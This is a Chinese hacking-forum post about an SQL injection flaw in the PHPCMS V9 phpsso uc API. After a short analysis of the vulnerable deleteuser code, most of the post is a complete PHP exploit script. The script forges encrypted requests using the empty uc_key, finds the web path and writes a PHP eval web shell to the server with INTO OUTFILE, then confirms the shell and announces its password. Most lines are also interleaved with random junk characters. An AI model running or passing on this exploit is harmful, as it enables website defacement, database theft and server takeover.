找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1996|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。' I& N1 s- g& ?( k. E9 ~5 n
3 p! d) L7 B! T
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。, h* }+ _+ Z& q
' j$ X6 `% T0 _+ ], L* G
漏洞分析:. c5 l5 T" f' ?) Z6 y
1.未启用ucenter服务的情况下uc_key为空, W8 q, v; `% S9 ?4 _
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
4 s* [9 V- L* y, V; I& l2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
+ _! z5 W, ]( U    public function deleteuser($get,$post) {' E9 k+ H7 ^( U. D' |0 `- J* G9 P. B
        pc_base::load_app_func('global', 'admin');
' g9 e% E( j, f. q* K        pc_base::load_app_class('messagequeue', 'admin' , 0);
) m* V+ o9 p) v3 e3 R3 G        $ids = new_stripslashes($get['ids']);$ }! T) M) ]9 j+ u+ W
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
( z* z6 a5 v9 C! ISQL语句为
8 S& z5 s* J% s% H$ n; ESELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
3 ?5 j; E5 n9 Y9 _  y6 e' g
, x  W$ h8 k$ _  r  A利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell% A% ^) N, E/ y* [: s' f
<?php
" m6 z0 M' n4 }; M9 w  O" K; M" Uprint_r('
& A3 q0 Z$ f: O---------------------------------------------------------------------------$ Y& a% m# u5 m( e7 s
PHPcms (v9 or Old Version) uc api sql injection 0day' c. |; n( M3 L8 S, R
by rayh4c#80sec.com4 U; O, M0 z- N$ N6 k' U% Y* ^6 u4 g1 l" c
---------------------------------------------------------------------------
5 U, {8 K5 A- A& X3 a% B' }');
" ]' M$ U; [; w1 t4 T& Z1 L. L5 h/ B4 R* S, i5 X
if ($argc<3) {/ c" f: c5 r% b6 n7 C( E& F7 q! G
    print_r('
; w: q7 I0 ~$ J5 V) E---------------------------------------------------------------------------
+ E- }! O$ g; Y( f, DUsage: php '.$argv[0].' host path OPTIONS
8 k/ }0 v9 {, Q( Lhost:      target server (ip/hostname)
; U! f& I, m  h2 y+ G6 h' r6 apath:      path to phpcms
4 U  B( e0 g4 m  D' i  |Options:
% I4 y1 ?* c9 t; x -p[port]:    specify a port other than 80
/ |+ A3 P7 k2 |- V1 x2 ` -P[ip:port]: specify a proxy
, O6 e, h$ i2 S! ?Example:
( X! [# B2 J% v. u3 jphp '.$argv[0].' localhost /0 R7 j9 z. \# E6 D* U% l
php '.$argv[0].' localhost /phpcms/ -p81
+ K9 y( G" f: c+ U5 rphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:801 @6 L0 ?5 @+ E& X: ~0 }" w; ~' w
---------------------------------------------------------------------------- s/ l) u3 D" [6 N! ^( {1 D
');+ ^& C- }+ B1 t6 G
    die;: k* Z- G0 D. c
}
% m/ v5 u+ r1 y+ Z) x, T5 g4 T/ Q
2 h; M) F% N+ merror_reporting(7);% H, @# z/ `6 O5 Z' @
ini_set("max_execution_time",0);
: O- S* o# E4 `9 T& Q9 }3 nini_set("default_socket_timeout",5);9 s0 p# x4 t+ e+ m8 n; Q& |
: |% B8 \2 O' v5 H# j  K# M
function quick_dump($string)
$ ]: R* Q5 _& m$ O" Q{
6 M1 n6 O9 j$ J  $result='';$exa='';$cont=0;
7 {/ |. a: H  w# T  for ($i=0; $i<=strlen($string)-1; $i++)
% m& x( p% {* m6 y" M. J  {
' O3 g4 k. u5 j# ~$ o6 ^0 q. _   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))* O2 E3 [6 i' M! v# T
   {$result.="  .";}
/ P. `% q% U. `   else2 ~) C4 d! u- p) x$ g# \( q2 i3 x+ S
   {$result.="  ".$string[$i];}
. X: n/ W$ T( q7 }. f$ a   if (strlen(dechex(ord($string[$i])))==2)" k; @$ a) }, M+ c8 m, E
   {$exa.=" ".dechex(ord($string[$i]));}- o# h/ v9 g& R" Q, ~6 ?
   else% U! b8 @8 J, T8 Z8 ^, N
   {$exa.=" 0".dechex(ord($string[$i]));}
8 r7 C! \2 n  \1 I% u7 |0 v- Z& R/ I   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
$ U) f) ~2 A& V- E. X/ c  }
1 U- w- i! A, [; `! ~) T/ G* u return $exa."\r\n".$result;5 w) U, Y4 W- i( S/ \+ P
}$ [$ h  r  P& M" X9 O  z
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';, x5 z( d. V/ s9 @8 m

. l5 E7 ~* v! y2 U% b! Cfunction send($packet); U+ r8 y* j: I1 `8 _9 B3 A
{
1 n; j+ x3 ~. c5 O( ]7 B' r0 X" ?  global $proxy, $host, $port, $html, $proxy_regex;3 [, L6 d% N- W
  if ($proxy=='') {" D. h9 }. z2 A+ r- H1 K
    $ock=fsockopen(gethostbyname($host),$port);
; j7 B( n( S+ c    if (!$ock) {4 E9 r8 }* `& C0 K( y$ b. Z
      echo 'No response from '.$host.':'.$port; die;
9 D* a7 s3 W, h/ f, Z( }    }  e6 c- L4 ]* r. f0 x5 u
  }, P5 I+ }  q/ v9 D; T
  else {) k5 h9 J0 J  e1 I# X9 j5 Z
        $c = preg_match($proxy_regex,$proxy);, Y6 Y/ N0 C4 a) P6 Y/ t) R
    if (!$c) {
  ^! q/ O; w2 l$ r7 f6 O) j      echo 'Not a valid proxy...';die;
+ Y; k3 u3 W% G$ s& i5 X3 n    }
9 V4 i- K9 y& W+ U+ K& K% ^    $parts=explode(':',$proxy);/ `6 X# t$ Q2 E1 l$ O' N
    $parts[1]=(int)$parts[1];
, ?! m% U8 y& ?! d  z    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
6 Z: Q* E! ?9 E& G" w' X* F3 P    $ock=fsockopen($parts[0],$parts[1]);7 k" i. A2 e, n0 e
    if (!$ock) {
& P/ t2 g2 [( i/ `  G0 d      echo 'No response from proxy...';die;0 l- d2 V5 k& V7 q" I2 p4 k" ?3 b
        }
( \( ]' j& {& D& ]  l7 V  }" |9 ?) p4 A9 q5 O( V3 n0 r/ Q
  fputs($ock,$packet);8 [3 k4 A2 O; U; {4 L3 p
  if ($proxy=='') {2 ?+ u2 X# `2 T, \( Q& V& g1 g
    $html='';
$ k) f- r4 ?* p( N    while (!feof($ock)) {) ?. F' w9 F' c& |0 k/ u  t( G  T; T
      $html.=fgets($ock);5 z1 `* q& e1 g; {' G# V1 ?/ v
    }0 u' D& e$ c. `# Y; I
  }
3 s1 v% Y$ U" g& S  else {
; p2 c0 H; _8 |- g    $html='';& l  t( H7 B5 k: N
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {6 J9 C- B7 ^- V6 K4 W
      $html.=fread($ock,1);# L8 \/ h- a8 m
    }) s8 H6 h, V6 Y  U
  }. X6 O/ z3 e5 D- K1 d# T0 X9 Z1 D
  fclose($ock);
3 w4 _# n$ a: x+ w5 s' H7 d) E}
- Z" v; j7 M5 b4 s2 S+ y" W. Q& g+ [
$host=$argv[1];
1 P  G( J/ {( r& o0 |* a& C2 Q$path=$argv[2];
% d4 j" H% ?; j; s8 J" S) |$port=80;: R: T1 U! P0 O
$proxy="";# ^4 }; P7 q  h3 q! F9 \
for ($i=3; $i<$argc; $i++){
* j6 B* s0 j" l; r& \# C$temp=$argv[$i][0].$argv[$i][1];
. {& i9 f  D4 L( @  H. {if ($temp=="-p")
5 {% i7 I) |+ V: P' X4 V- d1 Z{: F( }0 u  V9 Z+ r& X7 R
  $port=(int)str_replace("-p","",$argv[$i]);) ]1 A6 \; b4 P/ i
}" y0 G5 X; {4 P  h+ N2 f+ l
if ($temp=="-P"); i7 \( A. p0 S$ k3 \1 X: r' E; W
{
; v* D% U9 r2 \# D* ]  $proxy=str_replace("-P","",$argv[$i]);6 a( h( B- ?( b4 Y6 g2 }
}0 s# I; D" E% H6 P2 y' E$ l
}
- ]/ }9 b5 @3 h9 v1 ?# Z' `* S% h6 c
1 h7 r( L3 l1 Lif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
9 \3 k( \! s, e: Hif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}7 Z6 i6 ~7 c  F$ _- t3 L' X

, X5 _# V- X; I6 N9 d8 p9 sfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
; n! }) E8 {6 q1 I0 z! h" t2 i: Y1 u& O# ?
    $ckey_length = 4;, @; |) b; F- e' k3 \+ K; ~$ _

$ C& h* x) z6 y4 m    $key = md5($key ? $key : '');
7 L* U3 X/ T6 t7 j    $keya = md5(substr($key, 0, 16));
% [) C% H! }8 ~1 z! [    $keyb = md5(substr($key, 16, 16));0 e# Y5 ^* o# J; [
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';% r+ \. ]* c/ T2 Y; G

# U! a) I. e$ T    $cryptkey = $keya.md5($keya.$keyc);. \; F. K. o' W7 `. H& f
    $key_length = strlen($cryptkey);
8 t: x4 U# B+ }+ C' m& k
* K( S* O: ^2 P1 W, V% s    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;. J' Y. e% F* h: I9 V9 M
    $string_length = strlen($string);) m; x: U& S5 v

1 H) E) Y* f1 H* P! d9 Y( I6 e    $result = '';. v) J$ o" Q( g4 r5 c# s
    $box = range(0, 255);
; E. [& m: ~! P2 |" v7 a& B
& {6 W' U0 w% o5 v- c4 p    $rndkey = array();6 ], j+ ^% t( m8 G
    for($i = 0; $i <= 255; $i++) {
. M4 l! U5 K- P' l$ `/ m: h5 v: m        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
, v- _/ j  {& a$ @8 g5 _% ]$ P    }* ?0 ^( e# d2 H# [' P. [3 f

5 c8 R: _% @$ k3 k9 o    for($j = $i = 0; $i < 256; $i++) {
( R' N8 L7 S- N6 d- g1 C* ~# B        $j = ($j + $box[$i] + $rndkey[$i]) % 256;* a# c2 [! `2 _+ `( R6 j
        $tmp = $box[$i];. V# o( Q* Z% f$ J
        $box[$i] = $box[$j];( D/ P- D- a% W, _* L
        $box[$j] = $tmp;
& \. U3 m8 Y" O0 z% N    }
( p6 [. e( o" z% t% x: v  k( K5 M: i, ~9 _, o+ I7 A& n+ B
    for($a = $j = $i = 0; $i < $string_length; $i++) {
8 W  q& _: S! u" d- ?, T        $a = ($a + 1) % 256;/ q3 h1 p4 O# O9 t4 V1 O4 ^
        $j = ($j + $box[$a]) % 256;' N( i  J8 z- p6 g9 o# L8 j- @4 N
        $tmp = $box[$a];
4 @1 h  A1 b/ s5 A        $box[$a] = $box[$j];
- L/ v- q7 {& Z. f* ^  o" v        $box[$j] = $tmp;( j- z7 K' P* m5 I, m
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));7 v4 h0 T' _2 t; P9 p( F
    }: x6 T  w* \( J* m9 H

+ w5 r" t1 K& ^0 h7 J6 l# n    if($operation == 'DECODE') {
9 x7 _5 h7 ]0 R1 X3 T# l8 B        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
) {6 s( s% A5 b, h* T7 Q. ^            return substr($result, 26);
6 Y) r  i+ W0 X% G; c6 A        } else {" ~, E9 n5 y: s$ u6 z! {  G5 i
            return '';2 `* R$ k6 q8 w
        }
7 ^, z/ E3 K! ^( Y7 L& i! V) B    } else {
  @8 Q4 V9 @. ]# `% Y        return $keyc.str_replace('=', '', base64_encode($result));( a' T( e" r2 g" B+ d( t7 y0 }& x
    }# \3 E4 o0 ~, x( t
" A0 Z" _1 C; N2 W
}0 y1 d# U1 r& H5 R

$ m2 K3 A7 V1 G, k, Q$ G3 t1 o+ u' P7 V" u$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";& d3 e) l/ f* J# u8 S
$SQL = urlencode(authcode($SQL, "ENCODE", ""));( k/ Q: v0 Z" _6 G
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
# t6 L2 L# x' W5 g$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";% C, c/ M! f- q0 t2 i
$packet.="User-Agent: Mozilla/5.0\r\n";
: O+ h7 |" \2 P$packet.="Host: ".$host."\r\n";) ]0 C* N+ h/ @- f2 E! S
$packet.="Connection: Close\r\n\r\n";
) X! g2 `/ y  b  I6 _send($packet);) y6 p- M- n% o$ T1 T" C
if(strpos($html,"MySQL Errno") > 0){
* Z( a8 y1 d, U! q0 p4 ?echo "[2] 发现存在SQL注入漏洞"."\n";) f8 ]$ t2 v% J4 w
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
2 m* w& F; B1 v+ f* L' j  R+ T" M$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
) }9 M/ g% k' X6 k% P$packet.="User-Agent: Mozilla/5.0\r\n";- l4 n+ e/ l$ c
$packet.="Host: ".$host."\r\n";
1 l' g( X7 ?0 G* r  D$packet.="Connection: Close\r\n\r\n";
2 @/ r& b/ Q/ N# W0 Qsend($packet);
6 B: D! H8 E* b& F/ Apreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
3 X: ^) T  I+ U//print_r($matches);9 Q$ Q0 j3 c+ ?8 i" T4 o+ F
if(!empty($matches)){( S, C( \+ {# D' H1 M* L
echo "[4] 得到web路径 " . $matches[0]."\n";
( X" P, K4 H4 `3 \% n/ ]echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
8 @+ \, {. f  z$SQL = "time=999999999999999999999999&ids=1)";
4 b5 b1 j* O# E$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";5 B" Z1 F  M8 X: A5 D* W; V' w8 K8 Y1 C' r
$SQL.="&action=deleteuser";5 }7 S. ^1 P8 Z- k9 i" x1 k
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
1 s& Z& Q" o# _# ]' Hecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";2 w. t+ R2 s; \  E! b
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";1 f) V6 D0 P. ^3 ~" a
$packet.="User-Agent: Mozilla/5.0\r\n";$ o7 x2 \: T2 n
$packet.="Host: ".$host."\r\n";% M: F3 R" g+ R; x  i
$packet.="Connection: Close\r\n\r\n";
7 q1 f6 g' g1 X0 B3 r$ y; }send($packet);, ^) v/ Q6 b. Y: W! k
if(strpos($html,"Access denied") > 0){
  ?: Z, B" Q/ B, {echo "[-] MYSQL权限过低 禁止写入文件 ";' O/ j# [% M4 L$ z- Z- ~" t9 _4 y
die;
0 D, k, m, v+ s+ Y0 Q& N}
& I2 }6 m/ b$ M& x/ Q7 U# `echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
  m' B& O# L% s" l8 Y* p6 h- X$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
+ B2 I9 z8 W, J. ~# d- `! O$packet.="User-Agent: Mozilla/5.0\r\n";
* P. M0 O+ d1 y( v- c% o( {$packet.="Host: ".$host."\r\n";% _4 e7 b/ j6 }* v. b7 V& n
$packet.="Connection: Close\r\n\r\n";
8 ?2 k" t! s; w6 [send($packet);" B! L9 V2 a6 u4 m% e
if(strpos($html,"<title>phpinfo()</title>") > 0){
- E! ?) }$ D/ O; V4 Yecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";1 R0 U( C8 h' B/ @
}) i5 }; {! i0 Z( h
}else{
7 g. M$ z; e* P* F$ recho "[-]未取到web路径 ";2 F0 [4 c2 v6 F0 H# Q: W
}
6 M1 ?! x! y! t}else{
6 V7 |1 V3 B' e+ oecho "[*]不存在SQL注入漏洞"."\n";
* ]& k2 w9 E5 i) C, R}, k' y$ y" I; q3 W9 c4 n
% e2 |7 C. i% ]1 r7 E; O
?>
7 N2 ~: ], T( Q/ O0 l2 ]$ f* z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表